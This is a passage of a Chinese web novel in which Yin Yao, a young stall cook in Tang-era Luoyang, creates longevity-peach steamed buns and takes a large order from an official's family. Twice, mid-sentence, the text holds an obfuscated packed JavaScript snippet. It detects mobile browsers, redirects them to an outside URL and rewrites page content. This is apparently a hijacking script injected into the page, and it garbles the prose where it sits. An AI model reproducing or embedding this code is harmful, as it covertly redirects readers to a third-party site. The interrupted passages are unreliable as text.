众人纷纷笑说有心了，又夸赞沈老太太好福气。沈老太太听了这话一脸自豪，抚掌笑道：“这倒是实话，我这孙女儿和儿媳，都是再能干又孝顺不过的，你们可千万不要嫉妒，嫉妒也不给你们！” 众人哄笑，又调侃了一番沈老太太才作罢。宋婆婆夹了个馒头，边吃边开了口：“说起来，咱们坊中不是搬进来一户做官儿的吗？他家的管家婆子前阵子病倒了，便聘了我去暂代管事。” 说起来这新主家，宋婆婆倒是满意得很，张家乃南阳望族，女主人也是个和善的，不但酬劳不菲，时不时还会拿些应季果品和衣物之类的，赏赐给家中仆从，不仅可以自家吃用，便是拿出去借花献佛送给亲友，也是极体面的。 宋婆婆又道：“他们家老郎君快到八十寿辰了，除了家中的寿宴外，夫人还安排我想想法子，在街坊邻居间做些善举，博个好名声。” 说到这儿，她面露烦恼之色：“我以前也在大户人家做过管事，若说善举，通常就是在街口布个粥棚之类，但主家嫌此举不够应景儿。今儿恰好休憩，便想着来向老姐妹们讨个主意，看看有没有什么其他特别点儿的办法？” 见大家伙儿都七嘴八舌地讨论了起来，尹遥想了想也开口笑道：“婆婆们容孙女儿插个嘴，若张家觉得施粥不够应景儿、也不够特别，那若是改成施寿桃儿，您觉得如何？ 25. 寿桃蒸饼 “寿桃儿？”宋婆婆先是一喜，又想到了什么，随即重新皱起眉头，“唔……寿桃倒确实应景儿，可如今已是秋末，桃子都过季了啊，价格怕是昂贵得很……何况即便主家舍得这钱财，又该从何处去采买如此大量的桃子呢？” “宋婆婆误会了，过时不食这个道理，孙女儿还是懂的。”尹遥拿起桌上碟子中的一个醪糟馒头，笑道，“我说的不是桃子，而是——寿桃儿蒸饼。” “若是用今儿这方子，把蒸饼做成一颗颗寿桃的模样，岂不是好看好吃又应景儿？” 宋婆婆这会儿边聊着天，边一口一个地吃着小馒头，简直停不下嘴。 听了尹遥这建议，再回味一下醪糟小馒头的香甜味儿，她直道妙哉：“寿桃儿蒸饼？三娘这个主意倒真是不错，可比施粥特别多了！这样吧，我明日上工时跟夫人商议一下，若她同意，到时便在你这儿订购，如何？” 尹遥又问清过寿的日子是在五日后，便道：“那我明儿一早收了摊儿，就试着蒸上一笼给您送过去，先请张夫人尝尝看。若是满意，咱们再谈其他也不迟。” 宋婆婆是欣然应下，几位婆婆又聊了会儿，吃了些小点心，推辞了尹遥留下吃午饭的邀请，陆续回去了。 沈老太太把几个老姐妹送走，声音吵醒了方才迷糊着的尹七娘，她揉了揉眼睛坐起来，睡眼朦胧道：“阿婆，我想吃薯蓣糕。” “咱们七娘怎么就知道吃呀？”沈老太太忍俊不禁地拿了块儿红枣薯蓣糕，塞在了尹七娘的小手里，又逗她：“七娘，今儿你阿姐赚了多少钱呀？” 尹七娘原本收摊儿时已数好了今日的入账，结果方才在沈老太太怀里睡了一会儿，一觉醒来竟全忘了…… 她睁大眼睛，支支吾吾了半天也没记起来，嗷呜一声跳起来，又跑到院中重新去数了。 不过还没等她跑到推车那儿，就被一阵咯咯哒的声音吸引了注意力：“阿姐，我又摸到鸡蛋啦！” 院中摊晒的白菜腌起来后，显得宽敞了不少，除了靠近进门处停着的推车外，角落里还有许二郎前几日帮忙搭的鸡舍。 两只鸡分开养了起来，七娘按时拿磨下来的米糠和麦麸喂养，长得倒是挺健壮。公鸡每日早晨打鸣叫早，母鸡日日都能下个鸡蛋，七娘第一时间便会去摸出来，可叫她得了不少乐趣。 尹遥闻声也走到院里，接过七娘手上的鸡蛋：“好，阿姐帮你攒起来，咱们过几日腌咸蛋吃，怎么样？” …… 次日一早的嘉庆坊西门内主街，沈记的小摊儿一支上，便有回头客开始排起了队。 一名年轻妇人牵着个男孩儿，恰巧从路旁经过。男孩儿闻到飘散的肉香，忽然停下了脚步，指着尹遥的摊位叫道：“阿娘，我也要吃这个蒸饼！” 听了这话妇人面露惊讶，自家这小祖宗，平日里最是挑食，家中厨娘千方百计换着花样儿，他都难得吃上几口，怎么今儿倒是对这路边摊儿感兴趣了？ 妇人从未尝试过这等街巷手艺，但见儿子不住撒娇，还是派身边跟着的仆妇上前排队，母子二人则留在路边等候。 “这是您的豕肉蒸饼两个，还有豕肉菘菜的三个，收您十二文，拿好喽小心烫！” 听到这清脆的吆喝声，妇人轻轻皱了皱眉，低头跟幼童轻声商量：“这是豕肉馅儿的，咱们别吃了吧？肯定腥臊得很。” 刚买到蒸饼回头客从她身旁经过，暗道这妇人不懂行，沈记的豕肉蒸饼最是鲜美，跟腥臊什么的根本搭不上边儿！ “娘子，我买到啦。这可是最后两个呢，再晚一会儿就没啦！”母子俩拉锯战的工夫，仆妇终于排到了，手里举着蒸饼折回来，兴冲冲道。 幼童立刻上前接过那蒸饼，抱在胸前眼巴巴盯着，妇人无可奈何摸摸他的头：“走吧走吧，回去再吃，路上吃东西小心呛风。” 仆妇偷笑，自家夫人从不厮混市井，自然不知晓，近日来坊中最火的就是这沈记蒸饼了。 不仅便宜量大还管饱，寻常人吃上一个便够了，便是胃口再大的，吃上两个也是一上午干劲儿十足。 最重要的是，它美味无比！就连她自己，都趁方才排队的时候，也买了两个揣在怀里呢！ 如今啊，临上工前吃个沈记的鲜肉蒸饼，都快成了这嘉庆坊的一道风景喽！ …… 四笼两百个肉包很快卖光，尹遥快速收了摊儿赶回家中。 取出提前发酵好的面团，按照昨日醪糟小馒头的配方，加入甜醪糟与干桂花，揉匀后擀薄再折叠几次，最后分成四份。 她把第一份擀成长条，又分割成一个个比拳头略小些的剂子。 取出其中一个面剂子压扁，在中间包入一团提早做好的赤豆沙馅儿“桃核”，再用包包子的手法，用面剂子将豆沙馅儿包住，最后双手仔细整形成圆锥形，再将顶端捏尖，用刮板竖着压出一道痕迹。 一会儿上锅蒸后，这寿桃还会继续膨胀些，尹遥又用了点力，将压痕加深了些许，一个白白胖胖的寿桃蒸饼就捏好了。 第二份也是类似的做法，只不过分割成的面剂子略大一些，也不再包豆沙馅儿，而是直接揉成圆锥形，再依法炮制，捏成一个个实心的寿桃儿。 不过这两排刚捏好的寿桃儿外表还是白色，最多只能算夹生的桃子，还得让它们“熟了”才行。 正好这会儿陆娘子也从外面回来了，举起手中一个小纸袋笑道：“三娘，我去药铺买到你说的红曲了。” 洛阳城中各坊内虽然不能开设商铺，但医馆药铺却是可以的。陆娘子方才去的，便是坊中的一家小药铺，店家一早儿刚开张，态度十分热情，还帮着把红曲直接研磨成了粉。 红曲，也称丹曲，是由菌丝体寄生在稻米上所形成的红曲米，早在南朝时，便已经是一种既可以入药，又可以用来酿酒的材料了。《本草纲目》中记载，其具有“消食活血、健脾燥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15564935|168926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胃”的功效。 不过尹遥如今要这红曲，却是为了它的颜色。 她笑着接过来，将红曲粉倒入碗中，又用少许温水调匀，便是天然可食用的红色素。 拿起一个包好的寿桃，在上面盖一层薄薄的麻布，这麻布织得十分稀疏，经纬线之间甚至都透光，用来做衣服估计穿不了两天便要破了，拿来上色却是再合适不过的。 猪毛刷蘸取红曲水，隔着麻布从上到下点按，上面多按几下，越往下越一笔带过，红曲水印在寿桃表面，不过片刻，一个水灵灵、熟透了的寿桃儿便成型了。 陆娘子站在旁边，仔细观察了一会儿，便接过尹遥手中的刷子，也开始有模有样地给剩余的寿桃上色。 尹遥又去洗了一小把波棱菜，也就是菠菜，将梗部摘掉只留绿叶部分，下入开水中焯去草酸。 从锅中捞出，加少许清水研磨出汁，倒在麻布上过滤出渣滓，再将这过滤好的菠菜汁儿混入第三份面团，揉匀后分割成许多个小面团，再捏成一片片翠绿翠绿的桃叶，以刮板压出叶痕，垫在陆娘子上好色的寿桃下面。 这回寿桃儿不仅熟了，而且还带着翠绿的叶子，仿佛刚从树上摘下来一般新鲜。 最后剩下的第四份面团，则是按照昨儿醪糟小馒头的做法，做成一个个胡桃大小的圆球型儿。 把寿桃和小馒头都放入蒸锅，蒸制两刻钟后，再关火虚蒸片刻，尹遥将蒸笼盖掀开，露出里面里外都熟透了的寿桃儿蒸饼，她跟陆娘子分尝了一个，都对这回的作品十分满意。 “宋婆婆，我来啦！”尹遥手里提着食盒，行至嘉庆坊西北侧，张家的宅子便在此处，宋婆婆正按照昨儿约定好的，在后门处等着她。 “三娘来了，这就是新做好的寿桃儿蒸饼吗？”宋婆婆瞧见她过来，笑着走上前接过食盒。 尹遥笑道：“我今儿共试着做了两种蒸饼，一种是里面包了豆沙馅儿做“桃核”的，偏精致些；还有一种是实心没馅儿的，就更偏实惠些，您问问看主家喜欢哪种。另外，我还包了一点同昨儿一般大小的，若主家赏脸，可以拿着自家随便吃吃。” 见她这般知情识趣儿，想得又周到，宋婆婆不由赞许地点点头：“三娘有心了，我这便拿进去给夫人看看，你且先在这里稍待一会儿。” 交代完，宋婆婆便转身进了院子，尹遥自在街边等候，顺便观察起张家新置的这座宅院。 昨儿听宋婆婆说起过，这宅院本是一户富商的，占地约有五亩，换算下来有三千多平米，足有三十个康陶家那么大，在这平民聚集的嘉庆坊中，可是数一数二的大宅。 富商家的后人不争气，逐渐败光了家产和商铺，家中再无进项，也无法在洛阳城立足。前些日子便将大宅挂到了牙人那儿，准备变卖得些银钱，作为回家乡的路费，以及日后生活的花销。 恰巧这时，张家郎君新领了光禄丞的职位，也带着家眷搬来了神都洛阳。 26. 窦二娘子 张家老郎君曾领车骑将军，张家亦是南阳望族，只因其从外地迁居而来，在洛阳城内并无田产。 如今朝臣勋贵又都在洛阳置宅，搞得城中一时间片瓦难求。张家踏遍了整个洛阳城，都没寻到合适的空宅，最后只能退而求其次，买下了位于城南嘉庆坊的这座商人宅邸。 随着日头逐渐升起，张家的后巷里倒是热闹得很。 泥瓦匠在给院墙刷上朱红色的漆，砖石匠则是在原本夯土地面的门口，重新铺上青石的路面，一大群人干得热火朝天的，弄得漫天尘土飞扬。 只听“砰”的一声，一个雕刻十分浮夸的木制挂件，被从院墙上拆了下来，落到地上摔得稀碎，木头渣子差点溅了尹遥一身。 “哎呀，小娘子对不住，我方才没看到你！”墙上的工匠埋头做工，一时没注意地上，这会儿看到差点砸着人，也吓了一跳，赶忙道歉。 尹遥摆了摆手示意无妨，悄悄叹了口气，掸掸身上的灰尘，走远些换了个拐角的地方待着。 “诶，三娘！”宋婆婆从府中出来，没瞅着尹遥，找了一圈儿才看到她，“你怎么跑这儿来了？倒叫我好找。走吧，夫人请你进去呢！” 尹遥无奈地瞅了瞅四周，宋婆婆面露了然，凑到她耳边小声嘀咕：“郎君前日说了，这商户宅邸布置得太过粗俗，张家乃是士族，自然要整葺得风雅些才行，这不就……” 偷偷讲完家主小话，宋婆婆又笑道：“方才我把寿桃蒸饼呈给夫人，她十分满意，要叫你进去详谈呢！” 随宋婆婆从后门走进院子，经过穿堂步入正院，发现院子里也在大兴土木，看着像是要在院中挖个池塘，西侧的耳房上又有好几个工匠，正在翻新屋顶。 张寺丞的父母已经过世，但祖父前车骑将军张老郎君尚在，因此住在正房，寺丞夫妇则是住在东厢房内。 宋婆婆将尹遥带到东厢房的花厅门外，又嘱咐了一句：“对了，我家夫人出身扶风窦氏，在家行二，你称呼她为窦二娘子便好。” 两人正说着话，便见张小郎君刚换好居家的衣裳，从自己的房间出来，跑进了东厢房的花厅，一头扑到了自家阿娘怀里。 窦二娘宠爱地摸摸他的头，笑道：“大郎快坐好，阿娘等下有客人呢。” 张小郎君乖乖点头，听话地坐到胡凳上，他刚坐好，便被桌上的一盘点心吸引了注意力：“阿娘，这是什么？是桃子吗？” “这是过几日你太翁过寿时，要用的寿桃儿蒸饼。”说着话，窦二娘便从盘子里拿了一个，递给了自己儿子，“你尝尝看，还怪香甜的。” 张小郎君好奇地接了过来，左瞅瞅右瞅瞅，这红彤彤的怎么看都是个熟透了的大桃子嘛！他双手抱着，啊呜咬了一小口：好吃！ 窦二娘面露惊讶，小家伙今儿居然转了性子，不但一早便吃了大半个豕肉蒸饼，这会儿连这寿桃儿蒸饼也是极为喜爱，怕不是太阳打西边儿出来了？ “娘子，做寿桃儿的尹三娘来了。”宋婆婆进屋禀告。 掏出帕子给儿子擦了擦嘴角，窦二娘温声道：“你慢慢儿吃，仔细噎着。”言毕又笑道：“快请尹娘子进来。” 宋婆婆应下，出去将尹遥领了进来。窦二娘抬头一看，只见竟是个年纪轻轻、长得十分漂亮的小娘子，正笑吟吟地朝自己施礼，这小娘子好像还有些眼熟：“你是……你是那个卖豕肉蒸饼的小娘子？” 张小郎君触发了关键词，从寿桃儿里抬起头来，“豕肉蒸饼，香！” “回窦娘子的话，小女子确是在坊内摆摊儿卖蒸饼的。”没料到张家母子竟然认得自己，尹遥也不由仔细打量起对方来。 窦二娘约莫二十岁出头的样子，长相可称得上是蛾眉皓齿，气质亦是温雅贤淑，一看便是出身大家。 张小郎君看着跟七娘差不多大，长得虎头虎脑，身子骨儿却是有些瘦弱，这会儿又埋下了头，抱着自己送过来的“试吃品”吃得香甜。 窦二娘见着尹遥，又回想起早晨那两个豕肉蒸饼，她原本担心猪肉腥臊，在儿子吃之前，自己还先尝了两口，却也被那味道吸引住，不由自主吃了大半个。 再加上方才宋婆婆拿来的寿桃儿蒸饼和醪糟小馒头，她也是一一尝过，只觉得分外清甜美味。 听闻醪糟是舒筋活血的滋补佳品，她还特意把小馒头送去正房，请阿翁也尝尝看来着。张老郎君亦是夸赞不已，一直吃了大半盘儿，方才心满意足。 张家这一老一小两个郎君，一个胃口刁钻挑三拣四，另一个更是每日吃饭都是大难题，把她愁得不行，今儿却都破天荒吃了不少，让窦二娘一整日的心情都舒爽了。 待到她这会儿发现，那豕肉蒸饼和桌上这寿桃儿竟是出自同一人之手，对尹遥自是更加满意了。 “尹娘子快请坐。”她笑着朝尹遥招手，“咱们聊聊这寿桃蒸饼的事儿。” 尹遥从善如流，又施了一礼，坐在靠近门口的胡凳上，笑应道：“一切听娘子的吩咐。” 窦二娘方才已计划好了：“我家阿翁是十月初一的寿辰，我欲从你这儿订一千个寿桃蒸饼。其中九百个普通的，分三日每日三百个，布施给街坊邻居们；还有一百个带馅儿的，第一日便要，赠送给参加寿宴的宾客们。你看看可能做得？” 今儿是九月二十七，距十月初一还有四日，时间上应是没什么问题，于是尹遥爽快应下。 窦二娘又问起价格，尹遥思索片刻，这张家是不差钱的，定价的策略便可以大胆一些，她报了个不算离谱却也利润可观的数字：“普通的寿桃蒸饼便按四文钱一个算，带馅儿的五文钱一个，娘子觉着如何？” “如此便是四贯一百钱。”窦二娘却比尹遥想的更加大方，“这样吧，我直接凑整付你五贯。只是我有个要求，娘子务必要把活儿干得漂漂亮亮，不能失了我家的颜面。” 宋婆婆在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15564936|168926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁笑道：“娘子放心，这尹三娘家原本是在南市开食店的，生意一向极好。只是前阵子家中出了些变故，这才只能由一个小娘子抛头露面，在市井上摆摊儿养家。不过她这手艺却是再好不过的，足以与南市中最好食店的厨子媲美。” 尹遥忙道不敢当，笑着谦虚道：“宋婆婆过奖了，外祖和舅父的手艺的确出众，小女不过是学了些皮毛，勉力养家糊口罢了。” 回想一下自己今儿尝到两次尹遥的手艺，再看看自家还在埋头吃寿桃儿的儿子，窦二娘觉得，宋婆婆这话还真不算过奖。 她又仔细打量了一番尹三娘，对这愿意尽力支撑家族的小娘子，不由越发欣赏了。 谈完正事儿，两人又闲聊了一会儿，竟有些颇为投契的感觉。就在此时，一个男子步履匆匆推门而入，正是刚从官署回家，连常服都没来得及换的张寺丞。 宋婆婆见到主家回来，忙施了一礼，笑道：“郎君回来了。” 尹遥也起身施礼，张寺丞有些疑惑地瞧了她一眼，宋婆婆忙道：“这是过几日老郎君寿诞时，夫人请来做寿桃儿的尹娘子。” 张寺丞跟窦二娘年纪差不多，亦是二十岁出头一点儿，体型修长、相貌清峻，举手投足间隐隐有些傲气。 他闻言没说什么，只朝尹遥微微点了点头，便走到窦二娘身侧，有些忧心忡忡地坐下了。 窦二娘瞧了瞧自家郎君的面色，收了方才的话头儿，不再同尹遥闲聊，只交代宋婆婆，待会儿去账上支取银钱。 尹遥见状，也识趣儿告辞，跟在宋婆婆身后一道出来了。 窦二娘一向大方，跟尹遥又投缘，便没搞什么订金尾款的，宋婆婆带她去账房直接支取了全款。 考虑到五贯钱足有三十多斤，宋婆婆还帮她同账房交涉一番，给换成了容易携带的银子。按照一两银折算一贯钱，共称了五两的碎银。 二人领完钱便从后门出来，整个后巷还在敲敲打打，尹遥拉着宋婆婆走到了方才等候的拐角处，又从那碎银子里，取出了一小块五钱左右的，塞到了宋婆婆手里。 “三娘，你这是干嘛？”这五钱银子足足值五百文，宋婆婆赶忙推拒回去，嗔道，“我跟你阿婆是姐妹，怎能收你的银钱？” 尹遥一脸真诚：“婆婆快收下，您跟我阿婆的情谊归情谊，这是孙女儿孝敬您的。若没您举荐，我哪有机会拿到这么大的单子呢？” 介绍客户要给中间人抽成的习俗，可是古往今来一直都有，尹遥上辈子就是自己开小饭馆，这点儿规矩还是懂的，宁可少赚点儿，也要把阿婆这人情给续上费。 宋婆婆又推拒了几次，见尹遥态度坚决，这才笑呵呵收下了，嘴里还念叨：“你这娃儿，也太客气了些。放心吧，下次有好事儿婆婆还第一个想着你！” 尹遥笑着跟宋婆婆道了谢，告辞转身离开，张老郎君的寿辰在四天后，说是来得及，但也得抓紧时间才行。